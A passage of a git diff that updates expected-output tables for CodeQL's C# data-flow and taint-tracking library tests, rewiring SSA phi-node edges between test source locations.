UseUseExplosion.cs:24:2818:24:2823 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2822:24:2822 | access to local variable x | UseUseExplosion.cs:24:2818:24:2823 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2833:24:2838 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2833:24:2838 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2822:24:2822 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2833:24:2838 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2833:24:2838 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2833:24:2838 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2837:24:2837 | access to local variable x | UseUseExplosion.cs:24:2833:24:2838 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2848:24:2853 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2848:24:2853 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2837:24:2837 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2848:24:2853 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2848:24:2853 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2848:24:2853 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2852:24:2852 | access to local variable x | UseUseExplosion.cs:24:2848:24:2853 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2863:24:2868 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2863:24:2868 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2852:24:2852 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2863:24:2868 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2863:24:2868 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2863:24:2868 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2867:24:2867 | access to local variable x | UseUseExplosion.cs:24:2863:24:2868 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2878:24:2883 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2878:24:2883 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2867:24:2867 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2878:24:2883 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2878:24:2883 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2878:24:2883 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2882:24:2882 | access to local variable x | UseUseExplosion.cs:24:2878:24:2883 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2893:24:2898 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2893:24:2898 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2882:24:2882 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2893:24:2898 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2893:24:2898 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2893:24:2898 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2897:24:2897 | access to local variable x | UseUseExplosion.cs:24:2893:24:2898 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2908:24:2913 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2908:24:2913 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2897:24:2897 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2908:24:2913 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2908:24:2913 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2908:24:2913 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2912:24:2912 | access to local variable x | UseUseExplosion.cs:24:2908:24:2913 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2923:24:2928 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2923:24:2928 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2912:24:2912 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2923:24:2928 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2923:24:2928 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2923:24:2928 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2927:24:2927 | access to local variable x | UseUseExplosion.cs:24:2923:24:2928 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2938:24:2943 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2938:24:2943 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2927:24:2927 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2938:24:2943 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2938:24:2943 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2938:24:2943 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2942:24:2942 | access to local variable x | UseUseExplosion.cs:24:2938:24:2943 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2953:24:2958 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2953:24:2958 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2942:24:2942 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2953:24:2958 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2953:24:2958 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2953:24:2958 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2957:24:2957 | access to local variable x | UseUseExplosion.cs:24:2953:24:2958 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2968:24:2973 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2968:24:2973 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2957:24:2957 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2968:24:2973 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2968:24:2973 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2968:24:2973 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2972:24:2972 | access to local variable x | UseUseExplosion.cs:24:2968:24:2973 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2983:24:2988 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2983:24:2988 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2972:24:2972 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2983:24:2988 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2983:24:2988 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2983:24:2988 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:2987:24:2987 | access to local variable x | UseUseExplosion.cs:24:2983:24:2988 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:2998:24:3003 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:2998:24:3003 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2987:24:2987 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:2998:24:3003 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:2998:24:3003 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:2998:24:3003 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3002:24:3002 | access to local variable x | UseUseExplosion.cs:24:2998:24:3003 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3013:24:3018 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3013:24:3018 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3002:24:3002 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3013:24:3018 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3013:24:3018 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3013:24:3018 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3017:24:3017 | access to local variable x | UseUseExplosion.cs:24:3013:24:3018 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3028:24:3033 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3028:24:3033 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3017:24:3017 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3028:24:3033 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3028:24:3033 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3028:24:3033 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3032:24:3032 | access to local variable x | UseUseExplosion.cs:24:3028:24:3033 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3043:24:3048 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3043:24:3048 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3032:24:3032 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3043:24:3048 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3043:24:3048 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3043:24:3048 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3047:24:3047 | access to local variable x | UseUseExplosion.cs:24:3043:24:3048 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3058:24:3063 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3058:24:3063 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3047:24:3047 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3058:24:3063 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3058:24:3063 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3058:24:3063 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3062:24:3062 | access to local variable x | UseUseExplosion.cs:24:3058:24:3063 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3073:24:3078 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3073:24:3078 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3062:24:3062 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3073:24:3078 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3073:24:3078 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3073:24:3078 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3077:24:3077 | access to local variable x | UseUseExplosion.cs:24:3073:24:3078 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3088:24:3093 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3088:24:3093 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3077:24:3077 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3088:24:3093 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3088:24:3093 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3088:24:3093 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3092:24:3092 | access to local variable x | UseUseExplosion.cs:24:3088:24:3093 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3103:24:3108 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3103:24:3108 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3092:24:3092 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3103:24:3108 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3103:24:3108 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3103:24:3108 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3107:24:3107 | access to local variable x | UseUseExplosion.cs:24:3103:24:3108 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3118:24:3123 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3118:24:3123 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3107:24:3107 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3118:24:3123 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3118:24:3123 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3118:24:3123 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3122:24:3122 | access to local variable x | UseUseExplosion.cs:24:3118:24:3123 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3133:24:3138 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3133:24:3138 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3122:24:3122 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3133:24:3138 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3133:24:3138 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3133:24:3138 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3137:24:3137 | access to local variable x | UseUseExplosion.cs:24:3133:24:3138 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3148:24:3153 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3148:24:3153 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3137:24:3137 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3148:24:3153 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3148:24:3153 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3148:24:3153 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3152:24:3152 | access to local variable x | UseUseExplosion.cs:24:3148:24:3153 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3163:24:3168 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3163:24:3168 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3152:24:3152 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3163:24:3168 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3163:24:3168 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3163:24:3168 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3167:24:3167 | access to local variable x | UseUseExplosion.cs:24:3163:24:3168 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3178:24:3183 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3178:24:3183 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3167:24:3167 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3178:24:3183 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3178:24:3183 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3178:24:3183 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3182:24:3182 | access to local variable x | UseUseExplosion.cs:24:3178:24:3183 | [input] SSA phi read(x) | -| UseUseExplosion.cs:24:3193:24:3198 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | -| UseUseExplosion.cs:24:3193:24:3198 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3182:24:3182 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | +| UseUseExplosion.cs:24:3193:24:3198 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | | UseUseExplosion.cs:24:3193:24:3198 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access | | UseUseExplosion.cs:24:3193:24:3198 | this access | UseUseExplosion.cs:25:13:25:16 | this access | -| UseUseExplosion.cs:24:3197:24:3197 | access to local variable x | UseUseExplosion.cs:24:3193:24:3198 | [input] SSA phi read(x) | -| UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop | +| UseUseExplosion.cs:24:3197:24:3197 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | UseUseExplosion.cs:25:1712:25:1712 | access to local variable x | | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | UseUseExplosion.cs:25:1727:25:1727 | access to local variable x | | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | UseUseExplosion.cs:25:1742:25:1742 | access to local variable x | diff --git a/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected b/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected index ea0ae7f9da7..48bf36691e0 100644 --- a/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected +++ b/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected @@ -80,11 +80,10 @@ | LocalDataFlow.cs:88:9:88:16 | access to local variable nonSink0 | LocalDataFlow.cs:88:9:88:36 | SSA def(nonSink0) | | LocalDataFlow.cs:88:9:88:36 | SSA def(nonSink0) | LocalDataFlow.cs:89:15:89:22 | access to local variable nonSink0 | | LocalDataFlow.cs:88:20:88:36 | ... ? ... : ... | LocalDataFlow.cs:88:9:88:16 | access to local variable nonSink0 | -| LocalDataFlow.cs:88:20:88:36 | SSA phi(sink7) | LocalDataFlow.cs:92:29:92:33 | access to local variable sink7 | | LocalDataFlow.cs:88:24:88:28 | "abc" | LocalDataFlow.cs:88:20:88:36 | ... ? ... : ... | -| LocalDataFlow.cs:88:24:88:28 | [input] SSA phi(sink7) | LocalDataFlow.cs:88:20:88:36 | SSA phi(sink7) | +| LocalDataFlow.cs:88:24:88:28 | [input] SSA phi(sink7) | LocalDataFlow.cs:92:29:92:33 | access to local variable sink7 | | LocalDataFlow.cs:88:32:88:36 | "def" | LocalDataFlow.cs:88:20:88:36 | ... ? ... : ... | -| LocalDataFlow.cs:88:32:88:36 | [input] SSA phi(sink7) | LocalDataFlow.cs:88:20:88:36 | SSA phi(sink7) | +| LocalDataFlow.cs:88:32:88:36 | [input] SSA phi(sink7) | LocalDataFlow.cs:92:29:92:33 | access to local variable sink7 | | LocalDataFlow.cs:89:15:89:22 | [post] access to local variable nonSink0 | LocalDataFlow.cs:96:32:96:39 | access to local variable nonSink0 | | LocalDataFlow.cs:89:15:89:22 | access to local variable nonSink0 | LocalDataFlow.cs:96:32:96:39 | access to local variable nonSink0 | | LocalDataFlow.cs:92:13:92:17 | access to local variable sink8 | LocalDataFlow.cs:92:13:92:33 | SSA def(sink8) | @@ -589,14 +588,12 @@ | LocalDataFlow.cs:307:18:307:33 | String nonSink17 | LocalDataFlow.cs:307:18:307:33 | SSA def(nonSink17) | | LocalDataFlow.cs:313:13:313:18 | access to local variable sink73 | LocalDataFlow.cs:313:13:313:38 | SSA def(sink73) | | LocalDataFlow.cs:313:13:313:38 | SSA def(sink73) | LocalDataFlow.cs:315:15:315:20 | access to local variable sink73 | -| LocalDataFlow.cs:313:22:313:29 | [input] SSA phi read(sink0) | LocalDataFlow.cs:313:22:313:38 | SSA phi read(sink0) | +| LocalDataFlow.cs:313:22:313:29 | [input] SSA phi read(sink0) | LocalDataFlow.cs:314:22:314:26 | access to local variable sink0 | | LocalDataFlow.cs:313:22:313:29 | access to local variable nonSink0 | LocalDataFlow.cs:313:22:313:38 | ... ?? ... | | LocalDataFlow.cs:313:22:313:29 | access to local variable nonSink0 | LocalDataFlow.cs:314:31:314:38 | access to local variable nonSink0 | | LocalDataFlow.cs:313:22:313:38 | ... ?? ... | LocalDataFlow.cs:313:13:313:18 | access to local variable sink73 | -| LocalDataFlow.cs:313:22:313:38 | SSA phi read(sink0) | LocalDataFlow.cs:314:22:314:26 | access to local variable sink0 | -| LocalDataFlow.cs:313:34:313:38 | [input] SSA phi read(sink0) | LocalDataFlow.cs:313:22:313:38 | SSA phi read(sink0) | | LocalDataFlow.cs:313:34:313:38 | access to local variable sink0 | LocalDataFlow.cs:313:22:313:38 | ... ?? ... | -| LocalDataFlow.cs:313:34:313:38 | access to local variable sink0 | LocalDataFlow.cs:313:34:313:38 | [input] SSA phi read(sink0) | +| LocalDataFlow.cs:313:34:313:38 | access to local variable sink0 | LocalDataFlow.cs:314:22:314:26 | access to local variable sink0 | | LocalDataFlow.cs:314:13:314:18 | access to local variable sink74 | LocalDataFlow.cs:314:13:314:38 | SSA def(sink74) | | LocalDataFlow.cs:314:13:314:38 | SSA def(sink74) | LocalDataFlow.cs:316:15:316:20 | access to local variable sink74 | | LocalDataFlow.cs:314:22:314:26 | access to local variable sink0 | LocalDataFlow.cs:314:22:314:38 | ... ?? ... | @@ -636,12 +633,10 @@ | LocalDataFlow.cs:373:13:373:25 | SSA def(x) | LocalDataFlow.cs:374:17:374:18 | [input] SSA phi(x) | | LocalDataFlow.cs:373:13:373:25 | SSA def(x) | LocalDataFlow.cs:376:35:376:35 | access to local variable x | | LocalDataFlow.cs:373:17:373:25 | "tainted" | LocalDataFlow.cs:373:13:373:13 | access to local variable x | -| LocalDataFlow.cs:374:17:374:18 | [input] SSA phi(x) | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | +| LocalDataFlow.cs:374:17:374:18 | [input] SSA phi(x) | LocalDataFlow.cs:382:15:382:15 | access to local variable x | | LocalDataFlow.cs:381:13:381:13 | access to local variable x | LocalDataFlow.cs:381:13:381:29 | SSA def(x) | -| LocalDataFlow.cs:381:13:381:29 | SSA def(x) | LocalDataFlow.cs:381:13:381:29 | [input] SSA phi(x) | -| LocalDataFlow.cs:381:13:381:29 | [input] SSA phi(x) | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | +| LocalDataFlow.cs:381:13:381:29 | SSA def(x) | LocalDataFlow.cs:382:15:382:15 | access to local variable x | | LocalDataFlow.cs:381:17:381:29 | "not tainted" | LocalDataFlow.cs:381:13:381:13 | access to local variable x | -| LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | LocalDataFlow.cs:382:15:382:15 | access to local variable x | | SSA.cs:5:17:5:17 | SSA entry def(this.S) | SSA.cs:67:9:67:14 | access to field S | | SSA.cs:5:17:5:17 | this | SSA.cs:67:9:67:12 | this access | | SSA.cs:5:26:5:32 | SSA param(tainted) | SSA.cs:8:24:8:30 | access to parameter tainted | @@ -669,50 +664,41 @@ | SSA.cs:19:13:19:20 | access to local variable nonSink0 | SSA.cs:29:13:29:33 | [input] SSA phi read(nonSink0) | | SSA.cs:19:13:19:20 | access to local variable nonSink0 | SSA.cs:30:24:30:31 | access to local variable nonSink0 | | SSA.cs:22:16:22:23 | access to local variable ssaSink1 | SSA.cs:22:16:22:28 | SSA def(ssaSink1) | -| SSA.cs:22:16:22:28 | SSA def(ssaSink1) | SSA.cs:23:13:23:33 | [input] SSA phi(ssaSink1) | +| 